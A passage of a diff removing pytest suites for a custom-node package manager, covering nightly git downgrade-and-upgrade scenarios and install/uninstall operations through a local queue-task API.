yield package_path
|
||||
|
||||
# Cleanup
|
||||
import shutil
|
||||
if package_path.exists():
|
||||
shutil.rmtree(package_path)
|
||||
|
||||
|
||||
def get_current_commit(package_path: Path) -> str:
|
||||
"""Get current git commit SHA."""
|
||||
result = subprocess.run(
|
||||
["git", "rev-parse", "HEAD"],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
return result.stdout.strip()
|
||||
|
||||
|
||||
def get_commit_count(package_path: Path) -> int:
|
||||
"""Get total commit count in git history."""
|
||||
result = subprocess.run(
|
||||
["git", "rev-list", "--count", "HEAD"],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
return int(result.stdout.strip())
|
||||
|
||||
|
||||
def reset_to_previous_commit(package_path: Path, commits_back: int = 1) -> str:
|
||||
"""
|
||||
Reset git repository to previous commit(s).
|
||||
|
||||
Args:
|
||||
package_path: Path to package directory
|
||||
commits_back: Number of commits to go back (default: 1)
|
||||
|
||||
Returns:
|
||||
New commit SHA after reset
|
||||
"""
|
||||
# Get current commit before reset
|
||||
old_commit = get_current_commit(package_path)
|
||||
|
||||
# Reset to N commits back
|
||||
reset_target = f"HEAD~{commits_back}"
|
||||
result = subprocess.run(
|
||||
["git", "reset", "--hard", reset_target],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
|
||||
new_commit = get_current_commit(package_path)
|
||||
|
||||
# Verify commit actually changed
|
||||
assert new_commit != old_commit, "Commit should change after reset"
|
||||
|
||||
return new_commit
|
||||
|
||||
|
||||
@pytest.mark.priority_high
|
||||
def test_nightly_downgrade_via_reset_then_upgrade(
|
||||
api_client, custom_nodes_path, setup_nightly_package
|
||||
):
|
||||
"""
|
||||
Test: Nightly downgrade via git reset, then upgrade via update API.
|
||||
|
||||
Workflow:
|
||||
1. Install nightly (latest commit)
|
||||
2. Manually downgrade via git reset HEAD~1
|
||||
3. Trigger update via API (git pull)
|
||||
4. Verify package upgraded back to latest
|
||||
|
||||
Verifies:
|
||||
- Update can recover from manually downgraded nightly packages
|
||||
- git pull correctly fetches and merges newer commits
|
||||
- Package state remains valid throughout cycle
|
||||
"""
|
||||
package_path = setup_nightly_package
|
||||
git_dir = package_path / ".git"
|
||||
|
||||
# Step 1: Get initial state (latest commit)
|
||||
initial_commit = get_current_commit(package_path)
|
||||
initial_count = get_commit_count(package_path)
|
||||
|
||||
print(f"\n[Initial State]")
|
||||
print(f" Commit: {initial_commit[:8]}")
|
||||
print(f" Total commits: {initial_count}")
|
||||
|
||||
# Verify we have enough history to downgrade
|
||||
assert initial_count >= 2, "Need at least 2 commits to test downgrade"
|
||||
|
||||
# Step 2: Downgrade by resetting to previous commit
|
||||
print(f"\n[Downgrading via git reset]")
|
||||
downgraded_commit = reset_to_previous_commit(package_path, commits_back=1)
|
||||
downgraded_count = get_commit_count(package_path)
|
||||
|
||||
print(f" Commit: {downgraded_commit[:8]}")
|
||||
print(f" Total commits: {downgraded_count}")
|
||||
|
||||
# Verify downgrade succeeded
|
||||
assert downgraded_commit != initial_commit, "Commit should change after downgrade"
|
||||
assert downgraded_count == initial_count - 1, "Commit count should decrease by 1"
|
||||
|
||||
# Verify package still functional
|
||||
assert git_dir.exists(), ".git directory should still exist after reset"
|
||||
init_file = package_path / "__init__.py"
|
||||
assert init_file.exists(), "Package should still be functional after reset"
|
||||
|
||||
# Step 3: Trigger update via API (should pull latest commit)
|
||||
print(f"\n[Upgrading via update API]")
|
||||
response = api_client.queue_task(
|
||||
kind="update",
|
||||
ui_id="test_nightly_upgrade_after_reset",
|
||||
params={
|
||||
"node_name": TEST_PACKAGE_ID,
|
||||
"node_ver": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200, f"Failed to queue update task: {response.text}"
|
||||
|
||||
# Start queue and wait
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201], f"Failed to start queue: {response.text}"
|
||||
time.sleep(10)
|
||||
|
||||
# Step 4: Verify upgrade succeeded
|
||||
upgraded_commit = get_current_commit(package_path)
|
||||
upgraded_count = get_commit_count(package_path)
|
||||
|
||||
print(f" Commit: {upgraded_commit[:8]}")
|
||||
print(f" Total commits: {upgraded_count}")
|
||||
|
||||
# Verify we're back to latest
|
||||
assert upgraded_commit == initial_commit, \
|
||||
f"Should return to initial commit. Expected {initial_commit[:8]}, got {upgraded_commit[:8]}"
|
||||
assert upgraded_count == initial_count, \
|
||||
f"Should return to initial commit count. Expected {initial_count}, got {upgraded_count}"
|
||||
|
||||
# Verify package integrity maintained
|
||||
assert git_dir.exists(), ".git directory should be preserved after update"
|
||||
assert init_file.exists(), "Package should be functional after update"
|
||||
|
||||
# Verify package is still nightly (no .tracking file)
|
||||
tracking_file = package_path / ".tracking"
|
||||
assert not tracking_file.exists(), "Nightly package should not have .tracking file"
|
||||
|
||||
print(f"\n[Test Summary]")
|
||||
print(f" ✅ Downgrade: {initial_commit[:8]} → {downgraded_commit[:8]}")
|
||||
print(f" ✅ Upgrade: {downgraded_commit[:8]} → {upgraded_commit[:8]}")
|
||||
print(f" ✅ Recovered to initial state")
|
||||
|
||||
|
||||
@pytest.mark.priority_high
|
||||
def test_nightly_downgrade_multiple_commits_then_upgrade(
|
||||
api_client, custom_nodes_path, setup_nightly_package
|
||||
):
|
||||
"""
|
||||
Test: Nightly downgrade by multiple commits, then upgrade.
|
||||
|
||||
Workflow:
|
||||
1. Install nightly (latest)
|
||||
2. Reset to 3 commits back (if available)
|
||||
3. Trigger update
|
||||
4. Verify full upgrade to latest
|
||||
|
||||
Verifies:
|
||||
- Update can handle larger commit gaps
|
||||
- git pull correctly fast-forwards through multiple commits
|
||||
"""
|
||||
package_path = setup_nightly_package
|
||||
|
||||
# Get initial state
|
||||
initial_commit = get_current_commit(package_path)
|
||||
initial_count = get_commit_count(package_path)
|
||||
|
||||
print(f"\n[Initial State]")
|
||||
print(f" Commit: {initial_commit[:8]}")
|
||||
print(f" Total commits: {initial_count}")
|
||||
|
||||
# Determine how many commits to go back (max 3, or less if not enough history)
|
||||
commits_to_reset = min(3, initial_count - 1)
|
||||
|
||||
if commits_to_reset < 1:
|
||||
pytest.skip("Not enough commit history to test multi-commit downgrade")
|
||||
|
||||
print(f" Will reset {commits_to_reset} commit(s) back")
|
||||
|
||||
# Downgrade by multiple commits
|
||||
print(f"\n[Downgrading by {commits_to_reset} commits]")
|
||||
downgraded_commit = reset_to_previous_commit(package_path, commits_back=commits_to_reset)
|
||||
downgraded_count = get_commit_count(package_path)
|
||||
|
||||
print(f" Commit: {downgraded_commit[:8]}")
|
||||
print(f" Total commits: {downgraded_count}")
|
||||
|
||||
# Verify downgrade
|
||||
assert downgraded_count == initial_count - commits_to_reset, \
|
||||
f"Should have {commits_to_reset} fewer commits"
|
||||
|
||||
# Trigger update
|
||||
print(f"\n[Upgrading via update API]")
|
||||
response = api_client.queue_task(
|
||||
kind="update",
|
||||
ui_id="test_nightly_multi_commit_upgrade",
|
||||
params={
|
||||
"node_name": TEST_PACKAGE_ID,
|
||||
"node_ver": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(10)
|
||||
|
||||
# Verify full upgrade
|
||||
upgraded_commit = get_current_commit(package_path)
|
||||
upgraded_count = get_commit_count(package_path)
|
||||
|
||||
print(f" Commit: {upgraded_commit[:8]}")
|
||||
print(f" Total commits: {upgraded_count}")
|
||||
|
||||
assert upgraded_commit == initial_commit, "Should return to initial commit"
|
||||
assert upgraded_count == initial_count, "Should restore full commit history"
|
||||
|
||||
print(f"\n[Test Summary]")
|
||||
print(f" ✅ Downgraded {commits_to_reset} commit(s)")
|
||||
print(f" ✅ Upgraded back to latest")
|
||||
print(f" ✅ Commit gap: {commits_to_reset} commits")
|
||||
|
||||
|
||||
@pytest.mark.priority_medium
|
||||
def test_nightly_verify_git_pull_behavior(
|
||||
api_client, custom_nodes_path, setup_nightly_package
|
||||
):
|
||||
"""
|
||||
Test: Verify git pull behavior when already at latest.
|
||||
|
||||
Workflow:
|
||||
1. Install nightly (latest)
|
||||
2. Trigger update (already at latest)
|
||||
3. Verify no errors, commit unchanged
|
||||
|
||||
Verifies:
|
||||
- Update operation is idempotent
|
||||
- No errors when already up-to-date
|
||||
- Package integrity maintained
|
||||
"""
|
||||
package_path = setup_nightly_package
|
||||
|
||||
# Get initial commit
|
||||
initial_commit = get_current_commit(package_path)
|
||||
|
||||
print(f"\n[Initial State]")
|
||||
print(f" Commit: {initial_commit[:8]}")
|
||||
|
||||
# Trigger update when already at latest
|
||||
print(f"\n[Updating when already at latest]")
|
||||
response = api_client.queue_task(
|
||||
kind="update",
|
||||
ui_id="test_nightly_already_latest",
|
||||
params={
|
||||
"node_name": TEST_PACKAGE_ID,
|
||||
"node_ver": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(8)
|
||||
|
||||
# Verify commit unchanged
|
||||
final_commit = get_current_commit(package_path)
|
||||
|
||||
print(f" Commit: {final_commit[:8]}")
|
||||
|
||||
assert final_commit == initial_commit, \
|
||||
"Commit should remain unchanged when already at latest"
|
||||
|
||||
# Verify package integrity
|
||||
git_dir = package_path / ".git"
|
||||
init_file = package_path / "__init__.py"
|
||||
|
||||
assert git_dir.exists(), ".git directory should be preserved"
|
||||
assert init_file.exists(), "Package should remain functional"
|
||||
|
||||
print(f"\n[Test Summary]")
|
||||
print(f" ✅ Update when already latest: no errors")
|
||||
print(f" ✅ Commit unchanged: {initial_commit[:8]}")
|
||||
print(f" ✅ Package integrity maintained")
|
||||
|
||||
|
||||
@pytest.mark.priority_high
|
||||
def test_nightly_reset_to_first_commit_with_unstaged_files(
|
||||
api_client, custom_nodes_path, setup_nightly_package
|
||||
):
|
||||
"""
|
||||
Test: Reset to first commit (creates unstaged files), then upgrade.
|
||||
|
||||
Critical Scenario:
|
||||
- First commit: b0eb1539f1de (minimal files)
|
||||
- Later commits: Added many files
|
||||
- Reset to first commit → many files become untracked
|
||||
- These files will conflict with git pull
|
||||
|
||||
Real-world case:
|
||||
User resets to initial commit for debugging, then wants to update back.
|
||||
The files added in later commits remain in working tree as untracked files,
|
||||
causing git pull to fail with "would be overwritten" error.
|
||||
|
||||
Scenario:
|
||||
1. Install nightly (latest)
|
||||
2. Reset to first commit: git reset --hard b0eb1539f1de
|
||||
3. Files added after first commit become untracked/unstaged
|
||||
4. Trigger update (git pull should handle file conflicts)
|
||||
5. Verify upgrade handles this critical edge case
|
||||
|
||||
Verifies:
|
||||
- Update detects unstaged files that conflict with incoming changes
|
||||
- Update either: stashes files, or reports clear error, or uses --force
|
||||
- Package state remains valid (not corrupted)
|
||||
- .git directory preserved
|
||||
"""
|
||||
package_path = setup_nightly_package
|
||||
git_dir = package_path / ".git"
|
||||
|
||||
# Step 1: Get initial state
|
||||
initial_commit = get_current_commit(package_path)
|
||||
initial_count = get_commit_count(package_path)
|
||||
|
||||
print(f"\n[Initial State - Latest Commit]")
|
||||
print(f" Commit: {initial_commit[:8]}")
|
||||
print(f" Total commits: {initial_count}")
|
||||
|
||||
# Get list of tracked files at latest commit
|
||||
result = subprocess.run(
|
||||
["git", "ls-files"],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
files_at_latest = set(result.stdout.strip().split('\n'))
|
||||
print(f" Files at latest: {len(files_at_latest)}")
|
||||
|
||||
# Verify we have enough history to reset to first commit
|
||||
assert initial_count >= 2, "Need at least 2 commits to test reset to first"
|
||||
|
||||
# Step 2: Find first commit SHA
|
||||
result = subprocess.run(
|
||||
["git", "rev-list", "--max-parents=0", "HEAD"],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
first_commit = result.stdout.strip()
|
||||
|
||||
print(f"\n[First Commit Found]")
|
||||
print(f" SHA: {first_commit[:8]}")
|
||||
|
||||
# Check if first commit matches configured commit
|
||||
if first_commit.startswith(FIRST_COMMIT_SHA[:8]):
|
||||
print(f" ✅ Matches configured first commit: {FIRST_COMMIT_SHA}")
|
||||
else:
|
||||
print(f" ℹ️ First commit: {first_commit[:12]}")
|
||||
print(f" ⚠️ Expected: {FIRST_COMMIT_SHA[:12]}")
|
||||
print(f" 💡 Update FIRST_COMMIT_SHA in test configuration if needed")
|
||||
|
||||
# Step 3: Reset to first commit
|
||||
print(f"\n[Resetting to first commit]")
|
||||
result = subprocess.run(
|
||||
["git", "reset", "--hard", first_commit],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
|
||||
downgraded_commit = get_current_commit(package_path)
|
||||
downgraded_count = get_commit_count(package_path)
|
||||
|
||||
print(f" Current commit: {downgraded_commit[:8]}")
|
||||
print(f" Total commits: {downgraded_count}")
|
||||
assert downgraded_count == 1, "Should be at first commit (1 commit in history)"
|
||||
|
||||
# Get files at first commit
|
||||
result = subprocess.run(
|
||||
["git", "ls-files"],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
files_at_first = set(result.stdout.strip().split('\n'))
|
||||
print(f" Files at first commit: {len(files_at_first)}")
|
||||
|
||||
# Files added after first commit (these will be untracked after reset)
|
||||
new_files_in_later_commits = files_at_latest - files_at_first
|
||||
|
||||
print(f"\n[Files Added After First Commit]")
|
||||
print(f" Count: {len(new_files_in_later_commits)}")
|
||||
if new_files_in_later_commits:
|
||||
# These files still exist in working tree but are now untracked
|
||||
print(f" Sample files (now untracked):")
|
||||
for file in list(new_files_in_later_commits)[:5]:
|
||||
file_path = package_path / file
|
||||
if file_path.exists():
|
||||
print(f" ✓ {file} (exists as untracked)")
|
||||
else:
|
||||
print(f" ✗ {file} (was deleted by reset)")
|
||||
|
||||
# Check git status - should show untracked files
|
||||
result = subprocess.run(
|
||||
["git", "status", "--porcelain"],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
status_output = result.stdout.strip()
|
||||
|
||||
if status_output:
|
||||
untracked_count = len([line for line in status_output.split('\n') if line.startswith('??')])
|
||||
print(f"\n[Untracked Files After Reset]")
|
||||
print(f" Count: {untracked_count}")
|
||||
print(f" First few:\n{status_output[:300]}")
|
||||
else:
|
||||
print(f"\n[No Untracked Files - reset --hard cleaned everything]")
|
||||
|
||||
# Step 4: Trigger update via API
|
||||
print(f"\n[Triggering Update to Latest]")
|
||||
print(f" Target: {initial_commit[:8]} (latest)")
|
||||
print(f" Current: {downgraded_commit[:8]} (first commit)")
|
||||
|
||||
response = api_client.queue_task(
|
||||
kind="update",
|
||||
ui_id="test_nightly_upgrade_from_first_commit",
|
||||
params={
|
||||
"node_name": TEST_PACKAGE_ID,
|
||||
"node_ver": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200, f"Failed to queue update task: {response.text}"
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201], f"Failed to start queue: {response.text}"
|
||||
time.sleep(15) # Longer wait for large update
|
||||
|
||||
# Step 5: Verify upgrade result
|
||||
upgraded_commit = get_current_commit(package_path)
|
||||
upgraded_count = get_commit_count(package_path)
|
||||
|
||||
print(f"\n[After Update Attempt]")
|
||||
print(f" Commit: {upgraded_commit[:8]}")
|
||||
print(f" Total commits: {upgraded_count}")
|
||||
|
||||
# Step 6: Check task history to see if update failed with proper error
|
||||
history_response = api_client.get_queue_history()
|
||||
assert history_response.status_code == 200, "Should get queue history"
|
||||
|
||||
history_data = history_response.json()
|
||||
update_task = history_data.get("history", {}).get("test_nightly_upgrade_from_first_commit")
|
||||
|
||||
if update_task:
|
||||
task_status = update_task.get("status", {})
|
||||
status_str = task_status.get("status_str", "unknown")
|
||||
messages = task_status.get("messages", [])
|
||||
result_text = update_task.get("result", "")
|
||||
|
||||
print(f"\n[Update Task Result]")
|
||||
print(f" Status: {status_str}")
|
||||
print(f" Result: {result_text}")
|
||||
if messages:
|
||||
print(f" Messages: {messages}")
|
||||
|
||||
# Check upgrade result
|
||||
if upgraded_commit == initial_commit:
|
||||
# Case A or B: Update succeeded
|
||||
print(f"\n ✅ Successfully upgraded to latest from first commit!")
|
||||
print(f" Commit gap: {initial_count - 1} commits")
|
||||
print(f" Implementation handles untracked files correctly")
|
||||
assert upgraded_count == initial_count, "Should restore full commit history"
|
||||
|
||||
if update_task and status_str == "success":
|
||||
print(f" ✅ Task status correctly reports success")
|
||||
|
||||
else:
|
||||
# Case C: Update failed - must be properly reported
|
||||
print(f"\n ⚠️ Update did not reach latest commit")
|
||||
print(f" Expected: {initial_commit[:8]}")
|
||||
print(f" Got: {upgraded_commit[:8]}")
|
||||
print(f" Commit stayed at: first commit")
|
||||
|
||||
# CRITICAL: If update failed, task status MUST report failure
|
||||
if update_task:
|
||||
if status_str in ["failed", "error"]:
|
||||
print(f" ✅ Task correctly reports failure: {status_str}")
|
||||
print(f" This is acceptable - untracked files prevented update")
|
||||
elif status_str == "success":
|
||||
pytest.fail(
|
||||
f"CRITICAL: Update failed (commit unchanged) but task reports success!\n"
|
||||
f" Expected commit: {initial_commit[:8]}\n"
|
||||
f" Actual commit: {upgraded_commit[:8]}\n"
|
||||
f" Task status: {status_str}\n"
|
||||
f" This is a bug - update must report failure when it fails"
|
||||
)
|
||||
else:
|
||||
print(f" ⚠️ Unexpected task status: {status_str}")
|
||||
else:
|
||||
print(f" ⚠️ Update task not found in history")
|
||||
|
||||
# Verify package integrity (critical - must pass even if update failed)
|
||||
assert git_dir.exists(), ".git directory should be preserved"
|
||||
init_file = package_path / "__init__.py"
|
||||
assert init_file.exists(), "Package should remain functional after failed update"
|
||||
|
||||
# Check final working tree status
|
||||
result = subprocess.run(
|
||||
["git", "status", "--porcelain"],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
final_status = result.stdout.strip()
|
||||
|
||||
print(f"\n[Final Git Status]")
|
||||
if final_status:
|
||||
print(f" Has unstaged/untracked changes:")
|
||||
print(f"{final_status[:300]}")
|
||||
else:
|
||||
print(f" ✅ Working tree clean")
|
||||
|
||||
print(f"\n[Test Summary]")
|
||||
print(f" Initial commits: {initial_count}")
|
||||
print(f" Reset to: first commit (1 commit)")
|
||||
print(f" Final commits: {upgraded_count}")
|
||||
print(f" Files added in later commits: {len(new_files_in_later_commits)}")
|
||||
print(f" ✅ Package integrity maintained")
|
||||
print(f" ✅ Git repository remains valid")
|
||||
|
||||
|
||||
@pytest.mark.priority_high
|
||||
def test_nightly_soft_reset_with_modified_files_then_upgrade(
|
||||
api_client, custom_nodes_path, setup_nightly_package
|
||||
):
|
||||
"""
|
||||
Test: Nightly soft reset (preserves changes) then upgrade.
|
||||
|
||||
Scenario:
|
||||
1. Install nightly (latest)
|
||||
2. Soft reset to previous commit (git reset --soft HEAD~1)
|
||||
3. This leaves changes staged that match latest commit
|
||||
4. Trigger update
|
||||
5. Verify update handles staged changes correctly
|
||||
|
||||
This tests git reset --soft which is less destructive but creates
|
||||
a different conflict scenario (staged vs unstaged).
|
||||
|
||||
Verifies:
|
||||
- Update handles staged changes appropriately
|
||||
- Package can recover from soft reset state
|
||||
"""
|
||||
package_path = setup_nightly_package
|
||||
|
||||
# Get initial state
|
||||
initial_commit = get_current_commit(package_path)
|
||||
initial_count = get_commit_count(package_path)
|
||||
|
||||
print(f"\n[Initial State]")
|
||||
print(f" Commit: {initial_commit[:8]}")
|
||||
|
||||
assert initial_count >= 2, "Need at least 2 commits"
|
||||
|
||||
# Soft reset to previous commit (keeps changes staged)
|
||||
print(f"\n[Soft reset to previous commit]")
|
||||
result = subprocess.run(
|
||||
["git", "reset", "--soft", "HEAD~1"],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
|
||||
downgraded_commit = get_current_commit(package_path)
|
||||
print(f" Commit: {downgraded_commit[:8]}")
|
||||
|
||||
# Verify changes are staged
|
||||
result = subprocess.run(
|
||||
["git", "status", "--porcelain"],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
status_output = result.stdout.strip()
|
||||
print(f" Staged changes:\n{status_output[:200]}...")
|
||||
assert len(status_output) > 0, "Should have staged changes after soft reset"
|
||||
|
||||
# Trigger update
|
||||
print(f"\n[Triggering update with staged changes]")
|
||||
response = api_client.queue_task(
|
||||
kind="update",
|
||||
ui_id="test_nightly_upgrade_after_soft_reset",
|
||||
params={
|
||||
"node_name": TEST_PACKAGE_ID,
|
||||
"node_ver": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(12)
|
||||
|
||||
# Verify state after update
|
||||
upgraded_commit = get_current_commit(package_path)
|
||||
|
||||
print(f"\n[After Update]")
|
||||
print(f" Commit: {upgraded_commit[:8]}")
|
||||
|
||||
# Package should remain functional regardless of final commit state
|
||||
git_dir = package_path / ".git"
|
||||
init_file = package_path / "__init__.py"
|
||||
|
||||
assert git_dir.exists(), ".git directory should be preserved"
|
||||
assert init_file.exists(), "Package should remain functional"
|
||||
|
||||
print(f"\n[Test Summary]")
|
||||
print(f" ✅ Update completed after soft reset")
|
||||
print(f" ✅ Package integrity maintained")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
pytest.main([__file__, "-v", "-s"])
|
||||
@@ -1,549 +0,0 @@
|
||||
"""
|
||||
Test cases for Queue Task API endpoints.
|
||||
|
||||
Tests install/uninstall operations through /v2/manager/queue/task and /v2/manager/queue/start
|
||||
"""
|
||||
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
import conftest
|
||||
|
||||
|
||||
# Test package configuration
|
||||
TEST_PACKAGE_ID = "ComfyUI_SigmoidOffsetScheduler"
|
||||
TEST_PACKAGE_CNR_ID = "comfyui_sigmoidoffsetscheduler" # lowercase for uninstall
|
||||
|
||||
# Access version via conftest module to get runtime value (not import-time None)
|
||||
# DO NOT import directly: from conftest import TEST_PACKAGE_NEW_VERSION
|
||||
# Reason: Session fixture sets these AFTER imports execute
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def api_client(server_url):
|
||||
"""Create API client with base URL from fixture."""
|
||||
|
||||
class APIClient:
|
||||
def __init__(self, base_url: str):
|
||||
self.base_url = base_url
|
||||
self.session = requests.Session()
|
||||
|
||||
def queue_task(self, kind: str, ui_id: str, params: dict) -> requests.Response:
|
||||
"""Queue a task to the manager queue."""
|
||||
url = f"{self.base_url}/v2/manager/queue/task"
|
||||
payload = {"kind": kind, "ui_id": ui_id, "client_id": "test", "params": params}
|
||||
return self.session.post(url, json=payload)
|
||||
|
||||
def start_queue(self) -> requests.Response:
|
||||
"""Start processing the queue."""
|
||||
url = f"{self.base_url}/v2/manager/queue/start"
|
||||
return self.session.get(url)
|
||||
|
||||
def get_pending_queue(self) -> requests.Response:
|
||||
"""Get pending tasks in queue."""
|
||||
url = f"{self.base_url}/v2/manager/queue/pending"
|
||||
return self.session.get(url)
|
||||
|
||||
def get_installed_packages(self) -> requests.Response:
|
||||
"""Get list of installed packages."""
|
||||
url = f"{self.base_url}/v2/customnode/installed"
|
||||
return self.session.get(url)
|
||||
|
||||
return APIClient(server_url)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def cleanup_package(api_client, custom_nodes_path):
|
||||
"""Cleanup test package before and after test using API and filesystem."""
|
||||
import shutil
|
||||
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
disabled_dir = custom_nodes_path / ".disabled"
|
||||
|
||||
def _cleanup():
|
||||
"""Remove test package completely - no restoration logic."""
|
||||
# Clean active directory
|
||||
if package_path.exists():
|
||||
shutil.rmtree(package_path)
|
||||
|
||||
# Clean .disabled directory (all versions)
|
||||
if disabled_dir.exists():
|
||||
for item in disabled_dir.iterdir():
|
||||
if TEST_PACKAGE_CNR_ID in item.name.lower():
|
||||
if item.is_dir():
|
||||
shutil.rmtree(item)
|
||||
|
||||
# Cleanup before test (let test install fresh)
|
||||
_cleanup()
|
||||
|
||||
yield
|
||||
|
||||
# Cleanup after test
|
||||
_cleanup()
|
||||
|
||||
|
||||
def test_install_package_via_queue(api_client, cleanup_package, custom_nodes_path):
|
||||
"""Test installing a package through queue task API."""
|
||||
# Queue install task
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_install",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": conftest.TEST_PACKAGE_NEW_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
|
||||
assert response.status_code == 200, f"Failed to queue task: {response.text}"
|
||||
|
||||
# Start queue processing
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201], f"Failed to start queue: {response.text}"
|
||||
|
||||
# Wait for installation to complete
|
||||
time.sleep(5)
|
||||
|
||||
# Verify package is installed
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
assert package_path.exists(), f"Package not installed at {package_path}"
|
||||
|
||||
|
||||
def test_uninstall_package_via_queue(api_client, custom_nodes_path):
|
||||
"""Test uninstalling a package through queue task API."""
|
||||
# First, ensure package is installed
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
|
||||
if not package_path.exists():
|
||||
# Install package first
|
||||
api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_install_for_uninstall",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": conftest.TEST_PACKAGE_NEW_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
api_client.start_queue()
|
||||
time.sleep(8)
|
||||
|
||||
# Queue uninstall task (using lowercase cnr_id)
|
||||
response = api_client.queue_task(
|
||||
kind="uninstall", ui_id="test_uninstall", params={"node_name": TEST_PACKAGE_CNR_ID}
|
||||
)
|
||||
|
||||
assert response.status_code == 200, f"Failed to queue uninstall task: {response.text}"
|
||||
|
||||
# Start queue processing
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201], f"Failed to start queue: {response.text}"
|
||||
|
||||
# Wait for uninstallation to complete
|
||||
time.sleep(5)
|
||||
|
||||
# Verify package is uninstalled
|
||||
assert not package_path.exists(), f"Package still exists at {package_path}"
|
||||
|
||||
|
||||
def test_install_uninstall_cycle(api_client, cleanup_package, custom_nodes_path):
|
||||
"""Test complete install/uninstall cycle."""
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
|
||||
# Step 1: Install package
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_cycle_install",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": conftest.TEST_PACKAGE_NEW_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(10) # Increased from 8 to 10 seconds
|
||||
|
||||
assert package_path.exists(), "Package not installed"
|
||||
|
||||
# Wait a bit more for manager state to update
|
||||
time.sleep(2)
|
||||
|
||||
# Step 2: Verify package is in installed list
|
||||
response = api_client.get_installed_packages()
|
||||
assert response.status_code == 200
|
||||
installed = response.json()
|
||||
|
||||
# Response is a dict with package names as keys
|
||||
# Note: cnr_id now preserves original case (e.g., "ComfyUI_SigmoidOffsetScheduler")
|
||||
# Use case-insensitive comparison to handle both old (lowercase) and new (original case) behavior
|
||||
package_found = any(
|
||||
pkg.get("cnr_id", "").lower() == TEST_PACKAGE_CNR_ID.lower()
|
||||
for pkg in installed.values()
|
||||
if isinstance(pkg, dict) and pkg.get("cnr_id")
|
||||
)
|
||||
assert package_found, f"Package {TEST_PACKAGE_CNR_ID} not found in installed list. Got: {list(installed.keys())}"
|
||||
|
||||
# Note: original_name field is NOT included in response (PyPI baseline behavior)
|
||||
# The API returns cnr_id with original case instead of having a separate original_name field
|
||||
|
||||
# Step 3: Uninstall package
|
||||
response = api_client.queue_task(
|
||||
kind="uninstall", ui_id="test_cycle_uninstall", params={"node_name": TEST_PACKAGE_CNR_ID}
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(5)
|
||||
|
||||
assert not package_path.exists(), "Package not uninstalled"
|
||||
|
||||
|
||||
def test_case_insensitive_operations(api_client, cleanup_package, custom_nodes_path):
|
||||
"""Test that uninstall operations work with case-insensitive normalization.
|
||||
|
||||
NOTE: Install requires exact case (CNR limitation), but uninstall/enable/disable
|
||||
should work with any case variation using cnr_utils.normalize_package_name().
|
||||
"""
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
|
||||
# Test 1: Install with original case (CNR requires exact case)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_install_original_case",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID, # Original case: "ComfyUI_SigmoidOffsetScheduler"
|
||||
"version": conftest.TEST_PACKAGE_NEW_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(8) # Increased wait time for installation
|
||||
|
||||
assert package_path.exists(), "Package should be installed with original case"
|
||||
|
||||
# Test 2: Uninstall with mixed case and whitespace (should work with normalization)
|
